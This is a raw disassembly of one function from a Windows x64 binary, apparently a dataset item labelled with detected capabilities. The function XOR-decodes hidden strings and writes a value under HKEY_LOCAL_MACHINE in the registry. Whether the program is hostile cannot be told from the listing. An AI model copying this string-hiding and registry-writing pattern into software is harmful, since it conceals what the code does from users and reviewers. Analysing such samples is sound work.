Function at 0x140072770
Capabilities:
Encode data using xor
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x90]
sub rsp, 0x190
mov rax, qword [0x14033b600]
xor rax, rsp
mov qword [rbp + 0x88], rax
mov edx, 5
lea rcx, [rsp + 0x50]
call fcn.1400701d0
mov r14, rax
mov edx, 5
lea rcx, [rbp - 0x20]
call fcn.1400701d0
mov rsi, rax
mov edx, 5
lea rcx, [rbp - 0x40]
call fcn.1400701d0
mov rdi, rax
mov edx, 5
lea rcx, [rbp - 0x60]
call fcn.1400701d0
nop
mov r8d, 1
lea rdx, [0x14030f6c8]
mov rcx, rax
call fcn.140060590
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x50], xmm1
xor ebx, ebx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], bl
mov r9, rdi
lea r8, [rbp + 0x40]
lea rcx, [rbp - 0x80]
call fcn.140079f30
nop
lea r8d, [rbx + 1]
lea rdx, [0x14030f6c8]
lea rcx, [rbp - 0x80]
call fcn.140060590
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], bl
mov r9, rsi
lea r8, [rbp + 0x20]
lea rcx, [rsp + 0x30]
call fcn.140079f30
nop
lea r8d, [rbx + 1]
lea rdx, [0x14030f6c8]
lea rcx, [rsp + 0x30]
call fcn.140060590
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], bl
mov r9, r14
lea r8, [rbp]
lea rcx, [rbp + 0x68]
call fcn.140079f30
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x1400728ef
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400728e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140072dc6
call fcn.140223f10
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14007292c
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072927
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140072dcc
call fcn.140223f10
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x14007297b
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072975
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140072dd2
call fcn.140223f10
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x1400729b6
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400729b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140072dd8
call fcn.140223f10
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x140072a02
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400729fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140072dde
call fcn.140223f10
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x140072a3d
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072a38
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140072de4
call fcn.140223f10
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x60], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x140072a88
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072a83
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140072dea
call fcn.140223f10
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140072ad3
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072ace
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140072df0
call fcn.140223f10
mov qword [rbp - 0x10], rbx
mov qword [rbp - 8], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x20], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140072b20
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072b1b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140072df6
call fcn.140223f10
movdqa xmm0, xmmword [str.020___7_]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x140311bd0]
movdqu xmmword [rsp + 0x60], xmm1
mov dword [rsp + 0x70], 0xe8e0f6f1
mov dword [rsp + 0x74], 0xf8ecdef3
mov dword [rsp + 0x78], 0xe0e2e5f8
mov word [rsp + 0x7c], 0x100
mov rcx, rbx
nop
lea eax, [rcx + 0x63]
xor byte [rsp + rcx + 0x50], al
inc rcx
cmp rcx, 0x2c
jb 0x140072b60
mov byte [rsp + 0x7d], 0
mov dword [rsp + 0x30], 0x20a1633
mov dword [rsp + 0x34], 0x231d0b12
mov word [rsp + 0x38], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x3a], 1
mov rcx, rbx
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x63]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 9
jb 0x140072ba0
mov byte [rsp + 0x3a], 0
mov qword [rbp + 0x60], rbx
lea rax, [rbp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, [rsp + 0x50]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea rax, [rbp + 0x68]
mov rdx, qword [rbp + 0x68]
mov r8, qword [rbp + 0x80]
cmp r8, 0x10
cmovae rax, rdx
mov rcx, 0xffffffffffffffff
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140072c00
inc ecx
lea rax, [rbp + 0x68]
cmp r8, 0x10
cmovae rax, rdx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, qword [rbp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140072dfc
movdqa xmm0, xmmword [str.8O8F7:.__9P__a8O8F____N_]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x140311ad0]
movdqu xmmword [rsp + 0x60], xmm1
mov dword [rsp + 0x70], 0xa7a5e0e6
mov word [rsp + 0x74], 0x100
mov rcx, rbx
nop
lea eax, [rcx + 0x63]
xor byte [rsp + rcx + 0x50], al
inc rcx
cmp rcx, 0x24
jb 0x140072c70
mov byte [rsp + 0x75], 0
lea rcx, [rsp + 0x50]
call fcn.140239ef0
movdqa xmm0, xmmword [0x140311910]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x1005a5d
mov rcx, rbx
nop dword [rax + rax]
lea eax, [rcx + 0x63]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0x12
jb 0x140072cb0
mov byte [rsp + 0x43], 0
lea rcx, [rsp + 0x30]
call fcn.140239ef0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp qword [rbp + 0x60], 0
je 0x140072e3f
movdqa xmm0, xmmword [str.8O8F5_.J8]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0xf191806
mov dword [rsp + 0x44], 0x15153b57
mov dword [rsp + 0x48], 0x5e191908
mov word [rsp + 0x4c], 0x5e
mov byte [rsp + 0x4e], 1
nop dword [rax]
nop word [rax + rax]
lea eax, [rbx + 0x63]
xor byte [rsp + rbx + 0x30], al
inc rbx
cmp rbx, 0x1d
jb 0x140072d30
mov byte [rsp + 0x4e], 0
lea rcx, [rsp + 0x30]
call fcn.140239ef0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdx, qword [rbp + 0x80]
cmp rdx, 0x10
jb 0x140072d94
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072d8f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140072dc0
call fcn.140223f10
mov rcx, qword [rbp + 0x88]
xor rcx, rsp
call fcn.140223ef0
lea r11, [rsp + 0x190]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.14023482c
nop
call fcn.14023482c
nop
call fcn.14023482c
nop
call fcn.14023482c
nop
call fcn.14023482c
nop
call fcn.14023482c
nop
call fcn.14023482c
nop
call fcn.14023482c
nop
call fcn.14023482c
nop
call fcn.14023482c
int3
movdqa xmm0, xmmword [str.8I8F7:.__9P7]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x140311490]
movdqu xmmword [rsp + 0x60], xmm1
mov byte [rsp + 0x70], 1
lea rcx, [rsp + 0x50]
call fcn.140070f20
mov rcx, rax
call fcn.140239ef0
call fcn.140239dac
mov ecx, 1
call fcn.140234cac
int3
movdqa xmm0, xmmword [0x140311720]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x1f061b1f
mov dword [rsp + 0x44], 0x5b591f19
mov word [rsp + 0x48], 0x100
lea rcx, [rsp + 0x30]
call fcn.1400719e0
mov rcx, rax
call fcn.140239ef0
call fcn.140239dac
mov ecx, 1
call fcn.140234cac
int3